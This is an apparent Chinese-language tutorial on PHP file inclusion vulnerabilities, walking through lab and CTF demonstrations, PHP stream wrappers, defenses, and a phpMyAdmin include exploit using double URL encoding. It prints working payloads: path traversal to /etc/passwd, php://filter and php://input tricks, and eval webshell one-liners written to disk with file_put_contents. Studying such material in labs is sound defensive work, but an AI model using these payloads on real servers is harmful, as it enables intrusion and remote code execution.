文章目录
文件包含概述
- 文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在
PHP
中,提供了:
include(),include_once(), require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
- 大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击者会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
- 本地文件包含漏洞【
LFI
】:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。 - 远程文件包含漏洞【
RFI
】:能够通过url
地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。 - 因此,在
web
应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
- 在
web
开发后台中,程序员往往问了提高效率或者使代码看起来更加简洁,会使用“包含”函数功能,比如把一系列功能函数都写进function.php
中,之后当某个文件需要调用的时候就直接在文件头上写上一句<?php include function.php?>
就可以调用函数代码。 - 但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了包含功能),又由于开发人员没有对要包含的这个文件进行考虑,就导致攻击可以通过修改包含文件的位置来让后台执行任意文件代码,这种情况我们称之为“文件包含漏洞”。
漏洞产生原因
- web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
- 文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。这个漏洞非常严重,一句话木马过不了安全狗(安全产品),但通过文件包含漏洞可以。
漏洞特点
- 无视文件扩展名读取文件。包含文件时,PHP会读取文件源码,包括图片文件。尝试包含图片,连接为:
http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg
,打开图片,发现不是图像,而是图片源码。 - 无条件解析PHP代码。文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行,例如将
info.php
的后缀名改为info.rar
,依旧能够显示phpinfo()
信息,也为图片马提供了另外一种方式。
小知识
- 文件包含核心:不论文件后缀,不管什么后缀的文件,读取文件内容,然后当作
PHP
代码执行。 cmd
小知识点:
./
当前目录;../上
级目录
文件包含函数
include
使用include
引用外部文件时,只有代码执行到include
代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php
文件会继续执行。【先执行后加载】
require
在php
文件被执行之前,php
解析器会用被引用的文件的全部内容替换require
语句,然后与require
语句之外的其他语句组成个新的php
文件,最后后按新的php
文件执行程序代码。【先加载后执行】
include_once
使用include_once
会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。【要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php
不允许相同名称的函数被重复声明】
require_once
require_once
语句是require
语句的延伸,他的功能与require
语句基本一致,不同的是,在应用require_once
时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。【同时使用require_once
语句在同一页面中引用了两个相同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行】
文件包含示例
<?php
$path=$_GET['path']
include_once("./inc.php");
echo"<h1>This is include_once.php!</h1>";
- 本地文件包含
本地文件包含就是可以通过相对路径的方式找到文件,如http://172.16.132.138/fileInclude/fileinclude.php?path=info.php
- 远程文件包含
- 远程文件包含就是我们可以通过
http(s)
或者ftp
【文件传输协议】等方式,远程加载文件
http://172.16.132.138/fileInclude/sileinclude.phppath=http://172.16.132.138/fileInclude/info.php
- 需要修改
php.ini
配置文件中allow_url_include = On
,默认情况是off
。 - 要包含的远程文件地址一般都是
txt
。
pikachu靶场本地文件包含漏洞演示
- 我们选择
kobe bryant
,点击后发现url
显示为提交的是一个文件名提交至后台,后台会对致指定文件进行操作。 - 我们可以知道,这个文件是后台中存在的, 但是文件名是前端传至后台,意思是前端人员可以尝试修改文件。我们猜测后台为
linux
系统,因此可以尝试访问他的固定配置文件../../../../../etc/passwd
(其中../
为查看上一级目录,最终访问的是根目录),最终他的配置则会暴露出来。
http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../..etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
3. 我们可以查看文件源码,用户修改文件名字,但是后端又没有做相应的处理,源码中有提示正确的写法
pikachu靶场远程文件包含漏洞演示
远程文件包含漏洞跟本次文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的是include
和require
,则需要php.ini
配置如下(php 5.4.34)
:
allow_url_fopen=on //默认打开
Allow_url_include=on //默认打开
- 场景与本地文件包含漏洞相同,随便点开一个,发现
url
中提交的是目标文件的路径。 - 这时我们可以改成远端路径读取远程文件。我们可以将一句话木马写入远程文件中,一旦代码被执行,则会自动生成
php
文件。我们只需要把filename
后的路径改为远端路径,查看后端服务器即可看到生成的一句话木马的php
文件。 - 源码提示
文件包含漏洞的利用
思路:
- 制作一个图片马,通过文件上传漏洞上传;
- 通过文件包含漏洞对该图片马进行“包含”;
- 获取执行结果
一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts
读取本地host文件
?path=..\..\..\..\..\windows\System 32\drivers\etc\hosts
x先返回到最上级目录即根目录er
二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png
然后使用蚁剑或者中国菜刀连接
三、包含木马写shell
可以将以下代码写入图片中
<?php
fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')
?>
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>
四、 PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
例:重定向和转发的练习题用此协议完成文件包含并获得flag。
upload-labs通关攻略中的less 11
方法2
五、 PHP封装协议——访问本次文件
使用PHP的file协议访问本次系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts
六、PHP封装协议——执行PHP命令
PHP伪协议(文件包含漏洞常用的利用方法)
PHP
协议因为自定义的,所以被称为伪协议。PHP
伪协议实际上是PHP
所支持的协议与封装协议,共12
种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
下面着重写几种常用的协议
一、php://——访问各个输入/输出流
- 使用条件:不需要开启
allow_url_fopen
,仅php://input、php://stdin、php://memory
和php://temp
需要开启allow_url_include
且打开危害较大,需要慎重;php://
访问各个输入输入、输出流,在CTF
中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php
代码。 php://filter
在php.ini
配置下,allow_url_fopen
和allow_url_include
双off
情况下也可以使用。
?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP
代码执行。
php.ini
配置中allow_url_fopen :off/on ;allow_url_include:on
POST : <?php phpinfo()?>
也可以POST如下内容生成一句话:
<?php
fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');
?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是<?php @eval(\$_REQUEAT['cmd'])?>
二、file://——访问本地文件系统
- 用于访问本地文件系统,在
CTF
中通常用来读取本地文件且不受allow_url_fopen
和allow_url_include
控制。
?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd
三、zip://——访问压缩流
- 压缩流,访问压缩文件的子文件,不受
allow_url_fopen
和allow_url_include
控制。
?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
- 用法:将写好的一句话木马压缩为
zip
上传,然后使用zip
协议访问,即可绕过waf
访问一句话木马,zip
协议只支持绝对路径。
四、phar://——PHP归档
- 访问
phar
文件,phar
文件本质上也是压缩文件,不受allow_url_fopen
和allow_url_include
控制。
?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
- 与
zip
协议的区别在于phar
协议可以可以使用相对路径,但它本身可引起反序列化漏洞。
五、data://——数据流
- php.ini的配置:
allow_url_fopen :on
allow_url_include:on
六、http://——访问 HTTP(s) 网址
php.ini
的配置:
allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
- 涉及远程文件包含,参考上面的远程文件包含漏洞演示。
文件包含漏洞的防范措施
- 在功能设计上尽量不要将文件包含函数对应的文件放给前端进行选择和操作;
- 过滤
../../,http://,https://
- 配置
php.ini
配置文件:
allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
无需情况下设置allow_url_include
和allow_url_fopen
为关闭
- 通过白名单策略,仅允许包含运行指定的文件,其他的都禁止
- 建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现
../
之类的目录跳转符。
phpMyadmin靶场练习
phpmyadmin
:web
端的数据库管理页面 ,只要进去,则基本上可以拿下服务器。
- 使用代码审计工具打开
phpmyadmin
的源码,搜索危险函数include
,发现了一个很好进行文件包含的点。
- 经过分析,发现代码上面的部分,无论什么情况,均能执行到该传参代码。
if (! empty($_REQUEST['target']) //传参不为空或者0
&& is_string($_REQUEST['target']) //传入的target要是一个字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //传参不能为index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) //传参不$target_blacklist数组中
&& Core::checkPageValidity($_REQUEST['target']) //满足Core类中的checkPageValidity函数
) {
include $_REQUEST['target'];
exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //$whitelist为空则会使用白名单}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) { //$page传参在白名单中
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码,错误核心
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
- 假设我们用
db_sql.php?/../../../aaa.txt
来绕过白名单限制进行包含文件但这种格式并不能跨路径包含,因为php
程序把?
号后面的东西当成是传入db_sql.php
文件的参数。 - 我们可以利用双重编码绕过,将
?
经过两次编码%253f
就可以绕过白名单验证,当%253f
传入时,首先会被自动解码一次,变成%3f
。然后urldecode()
再解码一次,就变成了?
,成功绕过了白名单限制。
http://127.0.0.1/phpmyadmin/index.php?target=server_binlog.php%253f/../1.php
- 但我们并不知道目标主机到底有没有
1.php
,所以我们需要使用数据库的表结构。admin.frm
中存在一句话木马:
http://127.0.0.1/phpmyadmin/index.php?target=server_binlog.php%253f/../mysql/data/test/ab.frm&123=phpinfo();
- 但是我们不用蚁剑连接,因为访问这个页面需要
cookie
。因此,我们需要用file_put_content()
函数写一个一句话木马。 - 回到本题靶场,一般数据库的账号密码可以进行弱密码爆破,本题目数据库的账号和密码均为
root
。 - 登录成功后,因为我们不清楚数据库的表有哪些,所以我们使用
sql
语句查询select @@basedir
得到数据库路径。
- 我们在数据库中新建表。
- 修改我们的
payload
为
target=server_binlog.php%253F/../../../../../phpStudy/MySQL/data/gyy/gxt.frm&8=phpinfo();
11. 使用file_put_contents()
函数向目标服务器中写入木马文件。
http://wjbh522a.zs.aqlab.cn/index.php
?target=server_binlog.php%253F/../../../../../phpStudy/MySQL/data/gyy/gxt.frm
&8=file_put_contents('1.php','<?php eval($_REQUEST[8]);?>');
- 使用蚁剑连接即可得到
flag
。